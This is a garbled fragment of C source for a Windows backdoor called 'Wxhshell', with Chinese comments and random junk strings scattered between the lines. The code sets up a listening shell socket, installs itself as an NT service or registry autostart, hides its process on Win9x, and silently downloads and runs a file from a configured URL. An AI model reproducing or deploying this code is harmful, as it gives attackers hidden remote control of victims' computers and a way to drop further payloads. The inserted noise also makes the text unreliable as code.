Ifb( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1hviT& if(!hProcess) return 0; :'dc=C 7S2F^,w if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =Yj[MVn NACY;XQ% CloseHandle(hProcess); "J5Pwvs- ,&?q}M hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2jZ}VCzRG if(hProcess==NULL) return 0; N ]7a= Kk9 8FI0] HMODULE hMod; nh=Us^xD char procName[255]; 93Gur(j^ unsigned long cbNeeded; vEe 0:Y`#0qK if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R$fIb}PDr 4@e!D Du CloseHandle(hProcess); *Z`eNz} S.)7u6/_! if(strstr(procName,"services")) return 1; // 以服务启动 ]0i2]=J&, jN}7BbX return 0; // 注册表启动 wmr%h q } .r| vz6tU? /C"s_:m;3 // 主模块 :J`!'{r int StartWxhshell(LPSTR lpCmdLine) r)5\3j[P { /e sk SOCKET wsl; 0bxvM BOOL val=TRUE; 8}oDRN!J int port=0; :ZfUjqRE struct sockaddr_in door; /Tf*d>Yh; {qWG^Db if(wscfg.ws_autoins) Install(); :
|*,Lwvd kw^Dp[8X port=atoi(lpCmdLine); y]YS2^ oZ>`Qu if(port<=0) port=wscfg.ws_port; q AVfbcb &/hr-5k WSADATA data; SxW}Z_8x if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aho<w+l@
iRwW> a3/ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =E}%>un setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~:}XVt0%8 door.sin_family = AF_INET; 0HJqsSZ$mW door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y5i`pY/}#? door.sin_port = htons(port); <,X+`m& k *;{n8o?) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x$5nLS2. closesocket(wsl); h
GA0F9.U return 1; aBVEk2 p } J ]Gc (-'0g@0UA if(listen(wsl,2) == INVALID_SOCKET) { !Zyx$2K closesocket(wsl); !!+/Wgd:6 return 1; ,4>WLJDo } 4'{hI;&a& Wxhshell(wsl); @maZlw1q WSACleanup(); kk/+Vx~ IQlw 914
return 0; Gx h~ W]!@Zlal } RdvPsv}D -M1~iOb // 以NT服务方式启动 43u PH1
) VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C DnR { DUuC3^R DWORD status = 0; 4l%?mvA^m DWORD specificError = 0xfffffff; A1|7(Sow *m| t=9E serviceStatus.dwServiceType = SERVICE_WIN32; p(H)WD serviceStatus.dwCurrentState = SERVICE_START_PENDING; $||ns@F+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RI5g+Du? serviceStatus.dwWin32ExitCode = 0; lC /Hib serviceStatus.dwServiceSpecificExitCode = 0; ET,0ux9F serviceStatus.dwCheckPoint = 0; %Vw|5yA4 serviceStatus.dwWaitHint = 0; BDm88<] [V2omSZo hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r(,= uLc if (hServiceStatusHandle==0) return; da9*9yN (pT(&/\8 status = GetLastError(); co$Hi9JE if (status!=NO_ERROR) o%/-5- { Fi?32e4KI5 serviceStatus.dwCurrentState = SERVICE_STOPPED; +(=0CA0GE serviceStatus.dwCheckPoint = 0; e>?_)B4 serviceStatus.dwWaitHint = 0; )p/=u@8_f serviceStatus.dwWin32ExitCode = status; -'O Q-5 serviceStatus.dwServiceSpecificExitCode = specificError; >/!7i3Ow- SetServiceStatus(hServiceStatusHandle, &serviceStatus); f%Z;05 return; (^DLCP#* } WA]%,6 :Wyn+ serviceStatus.dwCurrentState = SERVICE_RUNNING; P0'e"\$ serviceStatus.dwCheckPoint = 0; H}) Dcg3 serviceStatus.dwWaitHint = 0; i14[3bPLk! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 93E, } %k3NT~ {[M0y*^64$ // 处理NT服务事件,比如:启动、停止 SE,o7_k'S VOID WINAPI NTServiceHandler(DWORD fdwControl) 97qtJ(ESI { Ie G7@ switch(fdwControl) ,2 zt.aqB { 05l0B5'p case SERVICE_CONTROL_STOP: lj
"Z serviceStatus.dwWin32ExitCode = 0; qYgwyj=4 serviceStatus.dwCurrentState = SERVICE_STOPPED; Kcscz, serviceStatus.dwCheckPoint = 0; 8iMF 8\ serviceStatus.dwWaitHint = 0; E;6Y? vJ { ZNzR`6} SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1s{ISWm } I! h(` return; <^,o$b case SERVICE_CONTROL_PAUSE: U}tl_5%) serviceStatus.dwCurrentState = SERVICE_PAUSED; x4CtSGG85f break; 0K=Qf69Y case SERVICE_CONTROL_CONTINUE: fH{9]TU_: serviceStatus.dwCurrentState = SERVICE_RUNNING; |A ;o0pL break; JP{UgcaF case SERVICE_CONTROL_INTERROGATE: ES^>[2Y break; pwJ'3NbS }; :7 qqjs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k_,MoDz } 5h_<R!jA !UBy%DN~k // 标准应用程序主函数 jP1$qhp int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?j1_
n,d { a$w},=
`E VK @$JwdL // 获取操作系统版本 U8CWz!;Qz OsIsNt=GetOsVer(); 6BDt.bG GetModuleFileName(NULL,ExeFile,MAX_PATH); +68+PhHF 2{Wo-B,wt~ // 从命令行安装 ~R :<Bw if(strpbrk(lpCmdLine,"iI")) Install(); Ihdu1]~R{ q:vz?G // 下载执行文件 :=rA Yc3] if(wscfg.ws_downexe) { Q Oz9\,C if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6exRS]BI WinExec(wscfg.ws_filenam,SW_HIDE); DZ^=*. } X Y~;)<s_ .qSBh
hH\ if(!OsIsNt) { 'I&|1I^ // 如果时win9x,隐藏进程并且设置为注册表启动 xKY$L* HideProc(); Qm
$(
StartWxhshell(lpCmdLine); i\(\MzW*' } sa_R$ /H else
}c}
( 5 if(StartFromService()) plK=D#) // 以服务方式启动 'nMApPl StartServiceCtrlDispatcher(DispatchTable); >B0D/:R9 else 4py(R-8\ // 普通方式启动 fGb7=Fk StartWxhshell(lpCmdLine); 4_tR9 w" #e*X0;m return 0; gF3TwAr }
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